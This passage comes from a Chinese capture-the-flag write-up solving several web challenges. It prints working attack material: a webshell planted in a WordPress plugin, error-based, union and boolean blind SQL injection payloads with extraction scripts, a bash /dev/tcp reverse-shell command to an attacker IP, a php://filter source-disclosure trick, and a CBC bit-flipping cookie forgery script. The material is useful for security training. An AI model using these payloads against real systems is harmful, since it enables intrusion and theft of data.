登陆成功密码是用户名加生日的组合sun19980321

但是在后台也没有发现flag,我们在插件-编辑这选择Akismet Anti-Spam
插件
在akismet/LICENSE.txt这个文件中写入一个php一句话

接着在akismet/index.php这个文件中包含LICENSE.txt

然后更新插件,再启动这个插件,菜刀连接http://wp.bugku.com/index.php

连接成功,在web目录下得到flag

0x47 报错注入

题目过滤了这些,并且要我们查询文件/var/test/key_1.php

既然题目试报错注入,我们利用update或者extractvalue就进行注入

直接构造payload:http://103.238.227.13:10088/?id=1/**/and/**/extractvalue(0x7e,concat(0x7e,(select/**/substr((load_file(0x2F7661722F746573742F6B65795F312E706870)),1,31))))

update和extractvalue都只会显示出结果的前32位所以我们要将substr一段一段的将文件查询出来

我直接写了一个py脚本

1
2
3
4
5
6
7
8
9
import requests
flag=''
for i in range(1,151,30):
url="http://103.238.227.13:10088/?id=1/**/and/**/extractvalue(0x7e,concat(0x7e,(select/**/substr((load_file(0x2F7661722F746573742F6B65795F312E706870)),{0},{1}))))".format(i,i+30)
res=requests.get(url)
c1=res.text.find('~')
flag+=res.text[c1+1:c1+31]
print(flag)
print("flag:"+flag)

flag就在这个文件中

0x48 Trim的日记本

不知道这题是不是坏了,直接扫面后台扫到一个show.php flag直接就写在里面了

0x49 login2(SKCTF)

打开题目,是一个登陆界面,没有验证码而且用户名错误和密码错误是分开提示的,应该可以爆破

但是在反回来的头信息中发现了一个提示

解码后,是一段验证密码的源码

1
2
3
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

发现可以通过union查询注入

构造payload:

账号:1' union select 1,'74b87337454200d4d33f80c4663dc5e5' #
密码:aaaa

登陆成功

登陆后发现是一个命令执行的页面,尝试输入一些简单的命令发现只会显示一些命令的进程,没有显示命令执行的结果,这样我们也不知道命令是否被执行了

利用sleep命令验证命令是否被执行了

输入1;sleep 2提交发现页面有短暂的延迟

输入1;sleep 5提交发现页面明显比上一次延时的久了很多

这就说明我们的命令是有执行的,只是没有回显

虽然没有回显但是我们可以利用反弹shell的方法拿到服务器的shell。

payload:1; bash -i >& /dev/tcp/207.***.100.42(你的linux的公网ip)/8888 0>&1

在一台有公网ip的linux上监听8888端口

成功拿到shell,发现服务器上有一个fLag_c2Rmc2Fncn-MzRzZGZnNDc.txt文件

得到flag:

0x50 login3(SKCTF)

打开题目又是一个登陆界面,抓包什么的也有任何提示。

尝试登陆发现用户民错误和密码错误是分开显示的,还试出了一个admin用户

题目的提示是基于布尔的SQL盲注,再结合上一题(login2)的登陆源码,猜测这题应该是这样验证登陆的

$sql='select * from 表名 where username=用户名'

如果查询不到数据,则输出用户名错误,查询到数据则对比密码是否正确,如果不正确则输出密码错误

所以我们可以通过用户名进行注入

payload:用户名admin'^(1)#

当我们附加的条件是正确的返回用户名错误,如果是对的就返回密码错误。
但是这题过滤了, = and information for 空格等等

=可以用<>绕过,其他的就算不使用也能注入,information被过滤了所以我们只能靠猜来得到表名和列名了

最终payload:admin'^(sleect(1)from(admin))#

按照这个方法得到一个表名为admin,admin表下有一个名为password的列,用户admin的密码应该就在这个列。
payload:admin'^(ascii(mid((select(password)from(admin))from(0)))<>1)#

用脚本爆出密码后,登陆就得到了flag

最后附上脚本

1
2
3
4
5
6
7
8
9
10
11
12

import requests
url='http://118.89.219.210:49167/index.php'
password=''
for s in range(0,40):
for i in range(0,128):
data={'username':"admin'^(ascii(mid((select(password)from(admin))from({0})))<>{1})#".format(s,i),'password':'11111111'}
res=requests.post(url,data=data)
if res.text.find('password error!')!=-1:
print(chr(i))
password+=chr(i)
print('密码:'+password)

0x51 文件上传2(湖湘杯)

打开题目,点击 uploading a picture ,一个上传图片的页面

尝试上传文件,发现即使是上传png图片也会报错,尝试各种绕过姿势,发现都不行

在url中有一个?op=upload 我们用伪协议构造payload

http://120.24.86.145:9011/?op=php://filter/read=convert.base64-encode/resource=index.php

提示没有这个页面,说明这个方法是可行的

在上传页面上是?op=upload 结合这个,我们再构造payload

http://120.24.86.145:9011/?op=php://filter/read=convert.base64-encode/resource=index

得到index.php的源码,发现会自动将op参数加上.php进行包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
</head>
<body>
<div id="header">
<center><a href="?op=home" class="logo"><img src="images/logo.jpg" alt=""></a></center>
</div>
<div id="body">
<?php
}

function fatal($msg) {
?><div class="article">
<h2>Error</h2>
<p><?=$msg;?></p>
</div><?php
exit(1);
}

function page_bottom() {
?>
</div>
<center>
<div id="footer">
<div>
<p>
<span>2017 &copy; </span> All rights reserved.
</p>
</div>
</div>
</center>
</body>
</html><?php
ob_end_flush();
}

register_shutdown_function('page_bottom');

page_top($op);

if(!(include $op . '.php'))
fatal('no such page');
?>

再用同样的方法得到upload.php、common.php、show.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
include 'common.php';

if(isset($_POST['submit']) && isset($_FILES['image'])) {
$fn = $_FILES['image']['tmp_name'];
$ft = $_FILES['image']['type'];

if(!is_uploaded_file($fn)) {
fatal('uploaded file corrupted');
}

$array = array('image/png');
if(!in_array($ft,$array)){
fatal("Sorry, only PNG files are allowed.");
}

$imagekey = create_image_key();

move_uploaded_file($fn, "uploads/$imagekey.png");

header("Location: ?op=show&imagekey=$imagekey");

} else {
?>
<center>
<div class="article">
<h2>Upload your own png file</h2>
<form enctype="multipart/form-data" action="?op=upload" method="POST">
<label for="image">Image file (max <?=MAX_IM_SIZE;?>x<?=MAX_IM_SIZE;?>): </label>
<input type="file" id="image" name="image" />
<br />
<input type="submit" name="submit" value="Upload!" />
</form>
</div>
</center>
<?php
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

<?php
if(!defined('FROM_INDEX')) die();

define('MAX_IM_SIZE', 100);

function create_image_key() {
return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() . mt_rand());
}

function load_image($imagekey) {
if(1 !== preg_match('/[0-9a-f]{40}/', $imagekey)) {
fatal('Invalid image key.');
}

$im = imagecreatefrompng("uploads/{$imagekey}.png");
if(!$im) {
fatal('Failed to load image.');
}
return $im;
}
stream_wrapper_unregister ("zip");
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
include 'common.php';

if(empty($_GET['imagekey'])) {
header('Location: ?op=home');
exit();
}

$imagekey = $_GET['imagekey'];
$im = load_image($imagekey);

$w = imagesx($im);
$h = imagesy($im);
if($w > MAX_IM_SIZE || $h > MAX_IM_SIZE)
fatal("Invalid image dimensions.");

?>
<center>
<div class="article">
<h2></h2>
<p><img src="uploads/<?=$imagekey;?>.png" />
<div>
<a href="uploads/<?=$imagekey;?>.png">View saved image</a>
</div>
</div>
</center>

代码审计之后发现,基本没有文件上传漏洞

只能再?op=这个参数上下文章,发现有一个flag.php,在其中发现了flag

解码,得到flag

0x52 login4

打开题目,一个登陆框,随便输入用户名密码发现都能登陆,登陆后显示只有admin才能得到flag

用admin用户登陆却提示我们admin用户不被允许登陆。

扫描后台发现一个.index.php.swp文件得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Login Form</title>
<link href="static/css/style.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="static/js/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function() {
$(".username").focus(function() {
$(".user-icon").css("left","-48px");
});
$(".username").blur(function() {
$(".user-icon").css("left","0px");
});

$(".password").focus(function() {
$(".pass-icon").css("left","-48px");
});
$(".password").blur(function() {
$(".pass-icon").css("left","0px");
});
});
</script>
</head>

<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}

function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}

function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}

function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is $flag</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
}

if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{
echo '<body class="login-body">
<div id="wrapper">
<div class="user-icon"></div>
<div class="pass-icon"></div>
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>Fill out the form below to login to my super awesome imaginary control panel.</span>
</div>
<div class="content">
<input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
<input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<input type="submit" name="submit" value="Login" class="button" />
</div>
</form>
</div>
</body>';
}
}
?>
</html>

代码审计 虽然不能以admin登陆,但是可以通过修改cookie中cipher的值来修改已登录的用户名,使我们变成admin用户

这里涉及到CBC字节翻转攻击,不了解的可以先看原理

先以Admin用户登陆,查看cookie中的cipher这个参数

利用脚本修改cipher使其解密后’A’变为’a’,将脚本设置为修改后的cipher,然后提交cookie(直接在浏览器里回车,请别刷新,刷新了会重置cookie)

报错了,提示我们不能反序列化,根据CBC字节翻转攻击的原理,修改了密文后,本组全部明文都将改变。所以我们修改密文后,不能反序列化。

但是这题比较特殊,我们能在cookie中控制初始化向量IV且被改变的那组明文恰好是第一组,我们可以同过CBC字节翻转攻击的原理修改IV使明文不变。然后再次提交cookie。

得到flag

附上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

<?php

//正常序列化
$info = array('username'=>'Admin','password'=>'aaaa');
$aa=serialize($info);
echo $aa.'<br>';

//先填cipher;得到error_cipher后在填写error_cipher和oldiv
$cipher='';

$oldiv='';//修改前的IV
$error_cipher='';//序列化错误后得到cipher

$cipher=quto($cipher,0);
$cipher=base64_decode($cipher);
$new_x=chr(ord($cipher[9])^ord('A')^ord('a'));
$cipher[9]=$new_x;
$new_cipher=base64_encode($cipher);
$new_cipher=quto($cipher,1)
echo "新的cipher:".$new_cipher.'<br>';


if(!empty($error_cipher))
{
$oldiv=quto($old,0);
$oldiv=base64_decode($oldiv);
$ser='a:2:{s:8:"userna';//正常的序列化明文
$error_cipher=base64_decode($error_cipher);
$oldiv=quto($old,1);
$newiv_='';
for($i=0;$i<16;$i++)
{
$newiv=$newiv.chr(ord($ser[$i])^ord($error_cipher[$i])^ord($oldiv[$i]));
}
echo "新的IV:".base64_encode($newiv);
}

//转化url编码,m==0解码,m==1编码
function quto($str,$m)
{
if($m==0)
{
$str=str_replace('%3D','=',$str);
$str=str_replace('%2F','/',$str);
$str=str_replace('%2B','+',$str);
return $str;
}
if($m==1)
{
$str=str_replace('=','%3D',$str);
$str=str_replace('/','%2F',$str);
$str=str_replace('+','%2B',$str);
return $str;
}
}
?>